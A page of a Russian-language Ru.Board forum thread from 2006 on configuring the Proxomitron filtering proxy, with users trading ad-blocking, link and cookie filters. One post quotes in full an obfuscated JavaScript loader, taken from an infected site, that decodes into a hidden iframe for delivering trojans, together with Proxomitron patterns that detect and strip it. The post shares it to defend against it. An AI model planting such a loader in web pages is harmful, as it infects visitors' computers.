Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » Настройка Proxomitron

Модерирует : gyra, Maz

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

Открыть новую тему     Написать ответ в эту тему

Corewin



Lazy
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Proxomitron


Proxomitron -- веб-фильтр страниц, запрашиваемых и отображаемых браузером. Работает под Windows с любым браузером, т.к. устанавливается как локальный прокси-сервер.

Proxomitron Russian page
 
// nb основной сервер proxomitron.org (aka proxomitron.cjb.net) закрыт 29 мая 2003 - см архив за конец мая @prox-list или отдельно письмо Скотта Леммона @computercops.biz.
Scott Lemmon, Proxomitron Author, Deceased May 1st 2004

 
download mirrors:
http://www.proxomitron.info/files/
http://proxomitron.ru/download.htm
 
web-форумы:
Англоязычные:
asp.flaaten.dk/proxo -- The 'Official' Proxomitron Forum by Arne Flaaten (Арне всех кинул и закрыл форум вместе с контентом)
CastleCops Proxomitron Forums
Русскоязычные:
Форум Proxomitron Russian page -- Помощь в настройке; новые фильтры; удаление рекламы с конкретных сайтов
ixbt » Смерть баннерам aka FAQ по Proxomitron
 
mail-форумы:
англоязычный:  http://groups.yahoo.com/group/prox-list  (~200 msg. в месяц)
русскоязычный: http://groups.yahoo.com/group/prox-ru (~30 msg. в месяц)
 
faq на русском:
proxomitron.ru - (by Dmitry "Storm" Yudin)
 
Вопросы по сертификатам:
Создать свои by WRFan
Новая, более обширная инструкция по созданию сертификатов для Прокса, Apache и MS IIS сёрверов by WRFan
Скачать готовые
 
Альтернативные конфиги:
jd5000
Grypen's Filter Set - 11 Dec 04
Proxomitron Russian Edition
Proxomitron-RE v0.9 beta от 04.10.2006
 
Остальное:
ProxoPatcher (patched Proxomitron Interface)
Proxomitron Configuration Manager V2.1
Игнор-лист для Ru-Board'а через Proxomitron
Смежная тема: Блокировка рекламы в браузере

Всего записей: 2598 | Зарегистр. 03-08-2001 | Отправлено: 21:56 09-09-2001 | Исправлено: shrmn, 20:03 03-04-2024
WRFan



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
lom1on
 
это то ты уловил?:
 

Цитата:
но так, чтобы только одиночный пост открывался, а не вся страница топика

даже если и на посте центрируется, это не то.

Всего записей: 5275 | Зарегистр. 25-11-2002 | Отправлено: 22:27 11-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
lom1on
Это не такой линк, какой ему нужен.
Ему нужен линк вида
http://forum.ru-board.com/topic.cgi?forum=5&topic=0339&start=1278&limit=1&m=1#1
 
 
Добавлено:
WRFan
Вот переделал твою версию этого фильтра.
Теперь работает во всех браузерах:

Код:
[Patterns]
Name = "Ru.Board ~ Copy Single Post  Link  [WRFan] [unreal666]"
Active = TRUE
URL = "forum.ru-board.com"
Limit = 100
Match = "(action=edit\&\2\&postno=\3\"*\|)\1"
Replace = "\1\r\n"
          "<script language="Javascript">\r\n"
          " result = \3 - 1\r\n ;"
          " linkname = "&#1051;&#1080;&#1085;&#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103;" ;\r\n"
          " soobwenie = "<a class=tpc href='topic.cgi?\2&start=" + result + "&limit=1&m=1#1'>" + linkname + "</a> | " ;\r\n"
          " document.write(soobwenie)\r\n"
          "</script>"
 
 

 
Главное применять не & , а +.
И вместо document.write soobwenie, писать document.write(soobwenie)
 
И нафига ты в URL match в начале поставил * ?
И $SET(0) не нужен был.

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 22:46 11-11-2006 | Исправлено: unreal666, 23:07 11-11-2006
WRFan



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Главное применять не & , а +.  
И вместо document.write soobwenie, писать document.write(soobwenie)

 
да я уж знаю синтаксис яваскрипта, но специально не использую по причинам, обсуждаемым в теме "браузерные войны" пытаюсь выделить достоинства ИЕ. хехехе
 

Цитата:
И нафига ты в URL match в начале поставил * ?  
И $SET(0) не нужен был.

 
да я на скорую руку скрипт переделал, чтобы тут запостить. у меня он совсем по другому выглядит, т.к. я все мои скрипты для рубоарда объединил в один, а выложить хотел только этот. поэтому мне $SET как раз и нужен, а переписывать весь скрипт было лень. и URL match у меня по другому выглядит. у меня он на весь рубоард настроен, а не только на форум, т.е. и на домейн первого уровня. ну вот и ошибся маленько, конвертируя на скорую руку

Всего записей: 5275 | Зарегистр. 25-11-2002 | Отправлено: 23:16 11-11-2006 | Исправлено: WRFan, 23:23 11-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
WRFan
Т.е. специально сделал скрипт, чтоб работал только в IE ?

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 23:30 11-11-2006
WRFan



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Т.е. специально сделал скрипт, чтоб работал только в IE ?  

 
ну не только, чтобы позлить лисичников мне и с технической точки зрения микрозофтские технологии больше нравятся, да и напрограмировался я в явскрипте уже достаточно с 97-ого года, надоело
 
напоролся кстати вчера на IE exploit. ну вы сейчас конечно смеяться будете. сначала я разгольствую о достоинствах ИЕ, а через 2 часа мой любимый браузер улетает в нирвану. этот эксплоит до сих пор не пофиксен микрозофтом, а ситуация страшная, я так немного проинформировался через гугал, огромное количество страниц инфицировано. я лично вот на этой странице напоролся: http://www.mircscripts.org/ (не открывайте через ИЕ!)
 
выудил код из сорс текста и написал простенькие прокс скрипты, чтобы он эти коды ломал или полностью вырезал. если хотите сами проинформироваться, просто скопируйте и задайте часть exploit кода в гугале.  
 
НИ В КОЕМ СЛУЧАЕ НЕ ТЕСТИРУЙТЕ СЛЕДУЮЩИЙ КОД!!!

Код:
 
<script language="JavaScript">e = '0x00' + '31';str1 = "%8A%D2%D9%C4%AE%C3%C2%C9%DA%D5%8D%90%C4%D9%C3%D9%D0%D9%DA%D9%C2%C9%88%D6%D9%D2%D2%D5%DC%90%8C%8A%D9%D4%C0%D1%DD%D5%AE%C3%C0%D3%8D%90%D6%C2%C2%DE%88%9F%9F%DF%C5%C2%D3%DC%C2%9C%D3%DF%DD%9F%D2%C6%9F%90%AE%C7%D9%D2%C2%D6%8D%81%AE%D6%D5%D9%D7%D6%C2%8D%81%8C%8A%9F%D9%D4%C0%D1%DD%D5%8C%8A%9F%D2%D9%C4%8C";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
 

 
расшифровка кода происходит с помощью замены document.write на слово alert. тогда код и не опасен больше
выглядит он примерно так:
 

Код:
 
<div style="visibility:hidden">
<iframe src="http://...../" width=1 height=1></iframe>
</div>
 

 
как видите, открывается внутренний фрейм и через него inject-ается любой файл, вирус, троян, что хотите. код всегда одинаковый, только адреса разные
 
для прокса я совсем простенькие скрипты написал:

Код:
 
[Patterns]
Name = "Viruses"
Active = TRUE
Limit = 256
Match = "tmp.charCodeAt\(0\)^e\)-127|"
        "str1.slice\(i,i\+3\)"
 

 
и ещё я фильтрую все яваскрипты, содержащие часть кода, т.е. $NEST(<script,*tmp.charCodeAt\(0\)^e\)-127*,</script>

Всего записей: 5275 | Зарегистр. 25-11-2002 | Отправлено: 17:17 12-11-2006 | Исправлено: WRFan, 17:19 12-11-2006
DOE_JOHN

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Вопрос не относится к Proxomitron но относится к улудшению внешнего вида страниц. Хостер помещает в конец отдаваемой страницы рекламу. То что работает на скриптах режется просто указанием в конце файла левого скриптового языка. Но на этот случай срабатывает параметр <noscript>. Есть вариант что бы блокировать его на странице. То есть дописать что нибудь в конец что бы <noscript> не обрабатывался браузерами.  
 
Добавлено:
Вопрос снят. Есть решение.

Всего записей: 1595 | Зарегистр. 09-05-2004 | Отправлено: 17:34 15-11-2006
Eliza



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
(Задумчиво)... На ру.боарде появилась новая реклама сёдни: Red Line (в правом верхнем углу). Проксомитрон её не режет... Чё делать, а? Памахите...

Всего записей: 3220 | Зарегистр. 20-07-2003 | Отправлено: 23:59 15-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Eliza
У меня этого нет.
Фильтр Banner Blaster (limit text) [RT] вырезает.

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 01:12 16-11-2006
WRFan



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Хостер помещает в конец отдаваемой страницы рекламу. То что работает на скриптах режется просто указанием в конце файла левого скриптового языка.

 
<offtop> э, знаешь, я бы не игрался с этим, если не хочешь потерять аккаунт. я всё это в своё время перепробовал и результат оказался плачевным. реклама или вообще не вырезалась, или вырезалась только в IE браузере, а если удавалось вырезать полностью, через пару недель хостер давал пинка и я летел с сервака со всеми тормашками. имхо лучше найти хостера без рекламы, бесплатные долго не живут, но если очень надо, можно пару баксов и заплатить. меньше нервотрёпки в конечном счёте, поверь мне </offtop>  
 
P.S. гугал вроде как stylesheet своей страницы изменил?! у меня вдруг все фонты в размере увеличились. я их через прокс увеличиваю, т.к. монитор у меня маленький, а разрешение большое, но это уже слишком. кто использует прокс скрипты для увеличения размера css фонтов, советую потестить на гугале. чо то они мудрят в последнее время, постоянно код меняют, не угонишься за ними
 
Добавлено:
 
ага, это

Код:
 
<h2 class
 

 
class селекторы виноваты:

Код:
 
<h2 class=r>...</h2>

 
вырезаем значит тэги

Всего записей: 5275 | Зарегистр. 25-11-2002 | Отправлено: 01:24 16-11-2006 | Исправлено: WRFan, 01:42 16-11-2006
Eliza



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
unreal666

Цитата:
У меня этого нет.  
Фильтр Banner Blaster (limit text) [RT] вырезает.

Данный фильтр отмечен галочкой (правда, буковки [RT] настораживают - что это? У меня таковых нет...), но баннер по-прежнему красуется...
 
Добавлено:
unreal666
Ооо! Я его подправила, увеличив от-до высоты рисунка - теперь всё ОК. Спасибо.

Всего записей: 3220 | Зарегистр. 20-07-2003 | Отправлено: 01:25 16-11-2006 | Исправлено: Eliza, 01:54 16-11-2006
S0ldier



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А как вырезать "Главные новости IT" и "CIT Forum" на Ru-Board?

Всего записей: 3230 | Зарегистр. 18-01-2005 | Отправлено: 22:19 16-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
S0ldier
 
или

Код:
$NEST(<table, class=rbc_main cellSpacing=0*,</table>)

или

Код:
$NEST(<table, width=95% cellpadding=2 cellspacing=0 align=center>*,</table>)

на выбор.
1-ая таблица находится внутри 2-ой.
 
Предел байт - 3500-4000

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 22:55 16-11-2006 | Исправлено: unreal666, 22:57 16-11-2006
S0ldier



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
unreal666
Спасибо, получилось.
 

Код:
Name = "Ru.Board news cleaner {site} [S0ldier]"
Active = TRUE
URL = "forum.ru-board.com/"
Limit = 4000
Match = "$NEST(<table, width=95% cellpadding=2 cellspacing=0 align=center>*,</table>)"

Всего записей: 3230 | Зарегистр. 18-01-2005 | Отправлено: 23:15 16-11-2006
BESTRAFER



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
может, кто подскажет, как сделать, чтобы не резался AJAX на ру-борде?

----------
IPTV EPG

Всего записей: 1477 | Зарегистр. 17-09-2003 | Отправлено: 02:04 17-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
BESTRAFER
А чем он у тебя режется ? Откуда мы знаем?
У меня ничего лишнего не режется.

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 02:50 17-11-2006
DOE_JOHN

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В headers фильтрах не включен ни один фильтр для куки. Может ли быть в web фильтрах фильтр который бы портил срок истечения куки? Конкретно портятся phpbb2mysql переменные.  

Всего записей: 1595 | Зарегистр. 09-05-2004 | Отправлено: 10:49 17-11-2006
WRFan



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
срок истечения куки

 
ну так проставь срок истечения до 2037 года и всё. на большее ИЕ не тянет, превращает в session куксы. а куксы портятся обычно не проксом, а неправильными настройками на серверах и в браузерах на стороне клаента. вон, меня на русском проксомитрон форуме каждые пару недель выкидывает в гостя, сегодня опять
 

Код:
 
[HTTP headers]
In = TRUE
Out = FALSE
Key = "Set-Cookie: Expires (IN)"
Match = "\1(expires=)\2\3(19[#1:100]|200[#1:10]) \4"
Replace = "\1\2\32037 \4"
 

 

Всего записей: 5275 | Зарегистр. 25-11-2002 | Отправлено: 11:14 17-11-2006
BESTRAFER



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
unreal666

Цитата:
BESTRAFER  
А чем он у тебя режется ? Откуда мы знаем?  
У меня ничего лишнего не режется.

да вот и я не знаю... я просто поставил Prox45j_RE_v.0.8_b50804.exe as is - ничего не менял... после этого перестал работать ajax... - когда жмешь "Приостановить" и перегружаешь страницу - все работает... какой фильтр может за это отвечать? или можно ли сделать фильтр, который бы разрешал подгружать ajax.css и ajax.js, а не блокировал их... хотя бы конкретно для ру-борда

----------
IPTV EPG

Всего записей: 1477 | Зарегистр. 17-09-2003 | Отправлено: 16:12 17-11-2006 | Исправлено: BESTRAFER, 16:13 17-11-2006
unreal666



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
BESTRAFER

Цитата:
какой фильтр может за это отвечать?

Поняния не имею. У меня сборка своя (специфическая).
Включи в журнале отладочную информацию и смотри, кто вырезает этот код.
 
И чего такая старая сборка ?
Prox-RE_v0.9_b61004
Полная сборка (1881Kb ZIP)  
Конфиг для версии v0.9_b60910 и более поздних (20Кб ZIP) Представляет собой блок-листы RE и полный конфиг.  
Библиотеки и сертификаты (669Кб RAR) Входят в полную сборку.  
 
What's new

----------
MSI PRO B650-P WIFI / Ryzen 5 7600X / RAM 32Gib / 4 HDD = 10Tib + 1 NVME 2Tib / Radeon RX 560 2Gib / Win 10 x64 // POB, PVD

Всего записей: 6637 | Зарегистр. 14-02-2005 | Отправлено: 16:36 17-11-2006
BESTRAFER



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
unreal666
спасибо - попробую твои линки

----------
IPTV EPG

Всего записей: 1477 | Зарегистр. 17-09-2003 | Отправлено: 16:47 17-11-2006
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

Компьютерный форум Ru.Board » Компьютеры » Программы » Настройка Proxomitron


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru